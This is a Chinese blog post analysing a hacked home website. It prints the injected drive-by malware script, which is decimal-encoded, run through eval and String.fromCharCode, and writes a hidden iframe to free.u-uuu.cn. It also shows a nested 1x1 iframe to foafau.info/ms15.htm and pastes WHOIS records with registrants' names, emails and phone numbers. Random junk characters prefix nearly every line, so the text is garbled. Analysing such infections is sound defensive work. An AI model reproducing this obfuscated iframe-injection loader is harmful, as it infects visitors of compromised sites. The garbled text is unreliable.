首发在我的博客里面，
Cx@);4arj Q^9_' t}X http://www.areway.cn/?p=175 / |;RV" _lJ!R:* 17%,7P9pg 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
>reU#j /$xU <script>t=’60,105,102,114,97,109,101,
GbY7_N
32,115,114,99,61,104,116,116,112,58,47,47,
lHY+}v0 102,114,101,101,46,117,45,117,117,117,46,99,
`_Zg3_K.dS 110,47,101,114,114,111,114,46,104,116,109,
jP $a_hW 32,119,105,100,116,104,61,49,48,48,32,104,
p SH=%u> 101,105,103,104,116,61,48,62,60,47,105,102,
Eak$u>Fd8c 114,97,109,101,62′;
hB]Np1(' t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
D(@S+r_ota j ?3wvw6T <script>t=’60,105,102,114,97,109,101,32,115,
` x Ex^P^7 114,99,61,104,116,116,112,58,47,47,102,114,
$kdB |4C 101,101,46,117,45,117,117,117,46,99,110,47,
g#pr yYz 101,114,114,111,114,46,104,116,109,32,119,
O-0x8 O^B 105,100,116,104,61,49,48,48,32,104,101,105,
?DS@e@lx 103,104,116,61,48,62,60,47,105,102,114,97,
r ,8 [O 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
x/I%2F document.write(t);</script>
B?gOHG*vd> $P s| H N <html xmlns=”
Af~$TyX http://www.w3.org/1999/xhtml -e"H ^: “>
6xx<Y2@ <head>
~~/|dh5 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
9IdA%RM~mH <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
\$~|ZwV{ <title>首页 - 爱生活家庭网
$t'MSlF y4
#>X 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
R6<X%*&% 转换字符串后的大概内容是（谁点击后果自付）：
}z'8Bu <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
j;+b0(53 $lfn(b, 查询玉米u-uuu.cn的详细信息：
_2Zx?<] 2E Domain Name: u-uuu.cn
h9&0Z +zs ROID: 20070901s10001s64972306-cn
!3c\NbU Domain Status: ok
1Z /(G1 Registrant Organization: 王雷
13$%,q ) Registrant Name: 王雷
u
OmtyX Administrative Email:
czlovexs@126.com R3)~?X1n Sponsoring Registrar: 北京万网志成科技有限公司
gS!:+G% Name Server:ns.yovole.com
>;aWz%- Name Server:ns1.yovole.com
z3{ G9Np Registration Date: 2007-09-01 17:54
n:I,PS0H< Expiration Date: 2008-09-01 17:54
Q",t3i4 最后PING了一下地址 都没有什么….
^KnU4sD .ljnDL/ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
pGP7nw_g <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
jh?H.;** <script language=”javascript” src=”
Y #ap* http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script :DK {Vg6 >
8? B! 2 这个玉米应该有可能是木马作者的：
K e;E1S-~ foafau.info的详细信息：
"b~+;<}Q Access to INFO WHOIS information is provided to assist persons in
r Xt}6[S determining the contents of a domain name registration record in the
g>E LGG |Q Afilias registry database. The data in this record is provided by
k{R> Afilias Limited for informational purposes only, and Afilias does not
0mYXv4
< guarantee its accuracy. This service is intended only for query-based
[t m_Mg access. You agree that you will use this data only for lawful purposes
6IN
e@ and that, under no circumstances will you use this data to: (a) allow,
\S `:y?[Y enable, or otherwise support the transmission by e-mail, telephone, or
yM6pd U]i facsimile of mass unsolicited, commercial advertising or solicitations
<VMGTBVQ to entities other than the data recipient’s own existing customers; or
jKz$@gP (b) enable high volume, automated, electronic processes that send
G{As,`{ queries or data to the systems of Registry Operator, a Registrar, or
4 @+`q * Afilias except as reasonably necessary to register domain names or
CCs%%U/= modify existing registrations. All rights reserved. Afilias reserves
NR$3%0 nC6 the right to modify these terms at any time. By submitting this query,
>4x( e\B you agree to abide by this policy.
Pa>AWOG' Domain ID:D22418703-LRMS
X~b X5b[P Domain Name:FOAFAU.INFO
CImWd.W9~ Created On:20-Nov-2007 16:05:42 UTC
`P@< 3] Last Updated On:20-Nov-2007 16:05:44 UTC
Y,qI@n< Expiration Date:20-Nov-2008 16:05:42 UTC
hk;5w{t}} Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
h ]5(]. Status:CLIENT DELETE PROHIBITED
Q^P}\wb> Status:CLIENT RENEW PROHIBITED
nUaJz Pl Status:CLIENT TRANSFER PROHIBITED
'&P%C" 5 Status:CLIENT UPDATE PROHIBITED
Y1 w9 y Status:TRANSFER PROHIBITED
v4!V r I Registrant ID:GODA-040110615
% "i(K@ Registrant Name:liu hong
d(ZO6Nr Q Registrant Organization:
^`i#$ Registrant Street1:beijing
^ x ]r`b Registrant Street2:
:I] Mps< Registrant Street3:
B9 _ X;c Registrant City:beijing
!NK1MU?T) Registrant State/Province:
~Py`P' + Registrant Postal Code:100000
;DQ ZT Registrant Country:CN
\{_q.;} Registrant Phone:+86.860108888777
RT4x\ &q Registrant Phone Ext.:
q_: 4w$> Registrant FAX:
mX"oW_EK Registrant FAX Ext.:
M/B_#yK Registrant Email:bbbshiji@163.com
TIqtF&@o4 Admin ID:GODA-240110615
/$Ir5= B Admin Name:liu hong
^cC,.Fdw Admin Organization:
{S]}.7`l9( Admin Street1:beijing
OU\ ~:: Admin Street2:
*g "Nq+i@ Admin Street3:
1/B> XkCJ Admin City:beijing
U7,e/?a Admin State/Province:
|w~nVRb Admin Postal Code:100000
EmWn%eMN Admin Country:CN
AG
nxYV"p Admin Phone:+86.860108888777
f 3l&3h C Admin Phone Ext.:
P7bMI e Admin FAX:
zy?|ODM Admin FAX Ext.:
5:[0z5Hww Admin Email:bbbshiji@163.com
[C 7^r3w Billing ID:GODA-340110615
f].h^ ~.q Billing Name:liu hong
PA{PD.4Du Billing Organization:
dw>C@c#" Billing Street1:beijing
_ gR;=~S Billing Street2:
KJUH(] >F Billing Street3:
D(op)]8 Billing City:beijing
C\3rJy(VJ Billing State/Province:
FW;?s+Uy x Billing Postal Code:100000
)2KF}{ Billing Country:CN
S&5 &];Ag Billing Phone:+86.860108888777
H \" sgoJ Billing Phone Ext.:
[o#oa k{U Billing FAX:
h]&GLb&<? Billing FAX Ext.:
hg]]Ok~cAs Billing Email:bbbshiji@163.com
3PWL@>zi Tech ID:GODA-140110615
W &W5lArr Tech Name:liu hong
#<"~~2? Tech Organization:
JPI3 [ .o Tech Street1:beijing
|)DGkO td Tech Street2:
mkk6`,ov Tech Street3:
sRR( `0Zp Tech City:beijing
G^|:N[>B Tech State/Province:
.[KrlfI Tech Postal Code:100000
F@jZ ho Tech Country:CN
VR 8- &N Tech Phone:+86.860108888777
WF+99?75 Tech Phone Ext.:
; W
)Y
OT Tech FAX:
ij `w} V Tech FAX Ext.:
e a2ayT Tech Email:bbbshiji@163.com
9Q^r
O26+ Name Server:NS27.DOMAINCONTROL.COM
K=Z|/Kkh Name Server:NS28.DOMAINCONTROL.COM
)gUR@V>e2 Name Server:
\fLMr\LL& Name Server:
\ A#41
Name Server:
Igt#V;kK"2 Name Server:
LKB$,pR~1l Name Server:
\;,+ Name Server:
cG zPI +F Name Server:
U [-o> W# Name Server:
i v38p%Zm Name Server:
:uS\3toj Name Server:
=U9*'EFr Name Server:
&vMb_;~B / &5,3rU.G 接着下载每个文件里面的代码：
r.&Vw|*> 一步一步看..
[#vH'y 
# $07:UJ 
B)g[3gQ 
N0Lw }@p 
!dnH 7 " 
e\l7 Iu 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
